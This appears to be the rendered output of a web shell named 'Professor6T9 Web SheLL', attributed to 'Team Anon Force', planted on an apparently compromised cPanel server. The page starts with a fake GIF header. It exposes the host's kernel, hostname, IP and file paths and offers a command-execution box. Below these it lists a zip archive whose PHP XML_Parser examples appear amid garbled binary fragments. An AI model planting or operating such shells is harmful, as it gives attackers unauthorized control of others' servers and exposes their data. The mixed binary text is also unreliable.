GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
cpanel-php83-xml-parser.zip
PK *kZvt9 9 examples/xml_parser_simple1.phpnu �[��� <?PHP /** * example for XML_Parser_Simple * * $Id$ * * @author Stephan Schmidt <schst@php-tools.net> * @package XML_Parser * @subpackage Examples */ /** * require the parser */ require_once 'XML/Parser/Simple.php'; class myParser extends XML_Parser_Simple { function myParser() { $this->XML_Parser_Simple(); } /** * handle the element * * The element will be handled, once it's closed * * @access private * @param string name of the element * @param array attributes of the element * @param string character data of the element */ function handleElement($name, $attribs, $data) { printf('handling %s in tag depth %d<br />', $name, $this->getCurrentDepth()); printf('character data: %s<br />', $data ); print 'Attributes:<br />'; print '<pre>'; print_r( $attribs ); print '</pre>'; print '<br />'; } } $p = &new myParser(); $result = $p->setInputFile('xml_parser_simple1.xml'); $result = $p->parse(); ?>PK *kZ�2l� � examples/xml_parser_simple2.xmlnu �[��� <!-- $Id: xml_parser_simple2.xml,v 1.1 2004-05-24 21:42:33 schst Exp $ --> <package> <category>XML</category> <name>XML_Parser</name> </package>PK *kZ�#�� � examples/xml_parser_handler.phpnu �[��� <?PHP /** * example for XML_Parser_Simple * * @author Stephan Schmidt <schst@php-tools.net> * @package XML_Parser * @subpackage Examples */ /** * require the parser */ require_once 'XML/Parser.php'; class myHandler { /** * handle start element * * @access private * @param resource xml parser resource * @param string name of the element * @param array attributes */ function startHandler($xp, $name, $attribs) { printf('handle start tag: %s<br />', $name); } /** * handle start element * * @access private * @param resource xml parser resource * @param string name of the element * @param array attributes */ function endHandler($xp, $name) { printf('handle end tag: %s<br />', $name); } } $p = &new XML_Parser(); $h = &new myHandler(); $result = $p->setInputFile('xml_parser_file.xml'); $result = $p->setHandlerObj($h); $result = $p->parse(); ?>PK *kZ��`� � examples/xml_parser_simple1.xmlnu �[��� <!-- $Id: xml_parser_simple1.xml,v 1.2 2004-05-24 21:42:33 schst Exp $ --> <foo> <bar>content of bar</bar> <empty/> <argh foo="bar"> test <tomato>pizza</tomato> </argh> </foo>PK *kZJ~�R� � &